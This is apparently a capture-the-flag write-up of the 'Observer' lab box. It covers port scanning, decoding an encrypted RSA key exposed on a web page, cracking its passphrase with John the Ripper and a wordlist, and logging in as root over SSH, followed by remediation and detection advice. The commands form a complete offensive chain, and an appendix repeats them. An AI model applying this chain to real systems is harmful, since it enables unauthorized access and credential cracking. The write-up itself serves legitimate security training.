🧭 Scenario Overview
The Observer challenge places you in the role of a vulnerability management analyst investigating a simulated national infrastructure threat. The mission objective: identify vulnerabilities, escalate privileges, and document exploitation chains before an adversary breaches critical systems.
Quick Answers (challenge)
- How many TCP ports are open: 2
- OpenSSH version: 8.2p1
- Apache version: 2.4.41
- Operating System: Linux
- Root SSH password (CTF only): cheese
- MD5 of
rootflag.txt: <redacted>
Executive summary
An aggressive reconnaissance scan of 10.10.1.133 revealed two open TCP services: SSH (22) and HTTP (80). The web server contained a Base64 block that decoded to an encrypted RSA private key (PEM, AES-128-CBC). The key was processed with John the Ripper tooling in-lab to recover the passphrase, which unlocked the private key used to SSH in as root and retrieve the challenge flag.
Methodology & step-by-step (sanitized)
1) Initial enumeration
Performed aggressive service and version detection with Nmap:
nmap -A -T4 10.10.1.133 -oA observer_initialNotable results (sanitized):
22/tcp open ssh OpenSSH 8.2p1
80/tcp open http Apache 2.4.41
OS: Linux2) Web enumeration and artifact collection
The website served a Base64 artifact. The workflow used to capture and prepare the artifact was:
# create working directory and paste Base64 into 'base'
mkdir -p ~/Desktop/tmp && cd ~/Desktop/tmp
nano base # paste Base64 block from web page3) Clean & decode Base64
The pasted Base64 contained stray whitespace/line breaks that prevented direct decoding. The following steps produced a clean binary that contained a PEM-formatted, AES-128-CBC encrypted RSA key:
# remove non-Base64 characters and decode
tr -cd 'A-Za-z0-9+/=' < base > base.clean
base64 -d base.clean > out.bin
# inspect output
file out.bin
head -n 10 out.binInspection revealed a sanitized header similar to:
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,<IV>
... (truncated) ...
-----END RSA PRIVATE KEY-----4) Convert for password analysis
To prepare the encrypted private key for analysis in an authorized CTF context, use the ssh2john
helper to convert it into a John-compatible format:
python3 /usr/share/john/ssh2john.py out.bin > password.txt5) Recover passphrase (CTF-lab only)
A controlled, authorized use of John the Ripper with a local wordlist recovered the passphrase for the key:
gunzip -c /usr/share/wordlists/rockyou.txt.gz > /tmp/rockyou.txt
john --wordlist=/tmp/rockyou.txt password.txt(Note: in a production environment, cracking encrypted keys is not an acceptable remedial action; this step is shown here as the intended CTF methodology only.)
6) Use the key to authenticate
With the passphrase and key available, set secure permissions and authenticate via SSH:
mv out.bin id_rsa
chmod 600 id_rsa
ssh -i id_rsa root@10.10.1.133
cat /root/rootflag.txtEvidence (sanitized)
Key snippets and nmap output were recorded and sanitized for publication. Sensitive artifacts (full private key, flag MD5) are redacted here.
$ nmap -A -T4 10.10.1.133
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1
80/tcp open http Apache 2.4.41
Impact & risk assessment
Exposing a private key (even if encrypted) in a web-accessible location represents a serious key-management failure. If the passphrase is weak or obtainable, an attacker can impersonate the service or authenticate as privileged users. In this challenge the root account was fully compromised, demonstrating high impact (complete host takeover).
Remediation & best practices
- Never store private keys in webroots. Use secure directories (e.g.,
/etc/ssl/private) with strict permissions or a secrets manager/HSM. - Rotate and revoke exposed keys and any certificates derived from them.
- Enforce strong passphrases and avoid guessable passwords—use long, randomly generated phrases or store keys in agents/vaults.
- Harden SSH: disable root login, restrict users, and limit access by IP/VLAN.
- Detect & prevent accidental exposure: scan repos and webroots for
BEGIN RSA PRIVATE KEYpatterns; implement pre-commit/CI checks.
Detection & monitoring
- Alert on web requests that return private key material.
- Scan hosted content for private key headers and commonly leaked secret formats.
- Monitor SSH logins and key usage for anomalous patterns.
Lessons learned
- Sanitize and audit all web-served files; backups and repos are common leak sources.
- Encrypted keys are valuable intelligence — treat any exposed key as compromised until proven otherwise.
- CTF-style wordlists remain useful for weak passphrases; in production, require higher entropy and enforce policy.
“Security isn’t just about defense — it’s about understanding offense.”
Appendix — Reproducible (lab) commands
For transparency and reproducibility in a controlled lab/CTF environment, these are the core commands used (sanitized). Do not use these instructions for unauthorized access.
# Enumeration
nmap -A -T4 10.10.1.133
# Base64 cleanup & decode
tr -cd 'A-Za-z0-9+/=' < base > base.clean
base64 -d base.clean > out.bin
# Convert private key for John and run JTR with local wordlist
python3 /usr/share/john/ssh2john.py out.bin > password.txt
gunzip -c /usr/share/wordlists/rockyou.txt.gz > /tmp/rockyou.txt
john --wordlist=/tmp/rockyou.txt password.txt
# Use key (after setting permissions)
mv out.bin id_rsa
chmod 600 id_rsa
ssh -i id_rsa root@10.10.1.133
cat /root/rootflag.txtAuthor: SnarkyWolf